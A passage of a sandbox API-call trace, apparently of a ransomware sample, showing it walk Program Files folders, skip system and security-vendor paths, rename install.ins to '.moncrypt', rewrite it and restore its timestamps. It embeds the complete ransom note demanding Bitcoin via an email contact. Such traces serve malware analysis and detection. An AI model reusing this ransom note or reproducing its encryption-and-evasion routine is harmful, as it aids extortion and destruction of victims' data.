nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@嚔U企@\x18?T\x18\x81")) returned 0xffffffff [0058.972] GetLastError () returned 0x2 [0058.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0058.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0058.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@羼R企@\x18?T\x18\x88")) returned 0xffffffff [0058.972] GetLastError () returned 0x2 [0058.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0058.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0058.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0058.973] GetLastError () returned 0x2 [0058.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0058.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0058.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@嚔U企@\x18?T\x18\x97")) returned 0xffffffff [0058.973] GetLastError () returned 0x2 [0058.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0058.974] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.974] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.974] GlobalUnlock (hMem=0x44000c) returned 0 [0058.974] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.974] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.974] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.974] GlobalUnlock (hMem=0x44000c) returned 0 [0058.974] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.974] GlobalUnlock (hMem=0x440004) returned 0 [0058.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.974] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.974] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 46 [0058.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.974] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 15 [0058.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.975] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 11 [0058.975] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.975] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.975] GlobalUnlock (hMem=0x440004) returned 0 [0058.975] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.975] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.975] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.975] GlobalUnlock (hMem=0x440004) returned 0 [0058.975] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.975] GlobalUnlock (hMem=0x44000c) returned 0 [0058.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 15 [0058.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 11 [0058.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 9 [0058.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 18 [0058.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 28 [0058.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 10 [0058.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 8 [0058.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 9 [0058.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\SIGNUP\\", cchLength=0x2a | out: lpsz="c:\\program files\\internet explorer\\signup\\") returned 0x2a [0058.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 13 [0058.977] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.977] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.977] GlobalUnlock (hMem=0x44000c) returned 0 [0058.977] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.977] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.977] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.977] GlobalUnlock (hMem=0x44000c) returned 0 [0058.977] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.977] GlobalUnlock (hMem=0x440004) returned 0 [0058.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0058.977] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.977] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0058.977] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0058.977] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.978] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.978] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.978] GlobalUnlock (hMem=0x440004) returned 0 [0058.978] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.978] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.978] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.978] GlobalUnlock (hMem=0x440004) returned 0 [0058.978] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.978] GlobalUnlock (hMem=0x44000c) returned 0 [0058.978] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.978] CharLowerBuffW (in: lpsz="install.ins", cchLength=0xb | out: lpsz="install.ins") returned 0xb [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", cchWideChar=53, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", lpUsedDefaultChar=0x0) returned 53 [0058.979] CharLowerBuffW (in: lpsz=".ins", cchLength=0x4 | out: lpsz=".ins") returned 0x4 [0058.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ins", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".insP\\install.ins", lpUsedDefaultChar=0x0) returned 4 [0058.979] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\я" (normalized: "c:\\program files\\internet explorer\\signup\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0058.979] WriteFile (in: hFile=0x184, lpBuffer=0x1e61ce8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61ce8*, lpNumberOfBytesWritten=0x18f0b0*=0x1, lpOverlapped=0x0) returned 1 [0058.980] CloseHandle (hObject=0x184) returned 1 [0058.980] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\я" (normalized: "c:\\program files\\internet explorer\\signup\\я")) returned 1 [0058.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", lpFindFileData=0x18ee44 | out: lpFindFileData=0x18ee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0x54e200 [0058.981] FileTimeToLocalFileTime (in: lpFileTime=0x18ee58, lpLocalFileTime=0x18ed70 | out: lpLocalFileTime=0x18ed70) returned 1 [0058.981] FileTimeToDosDateTime (in: lpFileTime=0x18ed70, lpFatDate=0x18ee26, lpFatTime=0x18ee24 | out: lpFatDate=0x18ee26, lpFatTime=0x18ee24) returned 1 [0058.981] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0058.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", dwFileAttributes=0x20) returned 1 [0058.989] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18dd80, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.moncrypt" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.moncrypt")) returned 1 [0058.989] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.moncrypt" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0058.989] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed50*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed50*=0) returned 0x0 [0058.989] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed50*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed50*=0) returned 0x1cc [0058.989] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed50*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed50*=0) returned 0x0 [0058.990] ReadFile (in: hFile=0x184, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x18ed74, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ed74*=0x1cc, lpOverlapped=0x0) returned 1 [0058.990] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.990] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.990] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.991] GlobalUnlock (hMem=0x44000c) returned 0 [0058.991] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.991] GlobalUnlock (hMem=0x440004) returned 0 [0058.991] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.991] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.991] GlobalUnlock (hMem=0x440004) returned 0 [0059.003] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.moncrypt" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0059.003] SetFileTime (hFile=0x184, lpCreationTime=0x18ee14, lpLastAccessTime=0x18ee0c, lpLastWriteTime=0x18ee04) returned 1 [0059.003] CloseHandle (hObject=0x184) returned 1 [0059.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.moncrypt", dwFileAttributes=0x20) returned 1 [0059.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18e0a8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.004] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.004] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.004] GlobalUnlock (hMem=0x440004) returned 0 [0059.004] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.004] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.004] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.004] GlobalUnlock (hMem=0x440004) returned 0 [0059.004] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.004] GlobalUnlock (hMem=0x44000c) returned 0 [0059.004] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18ee5c | out: lpFindFileData=0x18ee5c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a8d0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x559b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0059.005] GetLastError () returned 0x2 [0059.005] CreateFileW (lpFileName="C:\\Program Files\\Internet 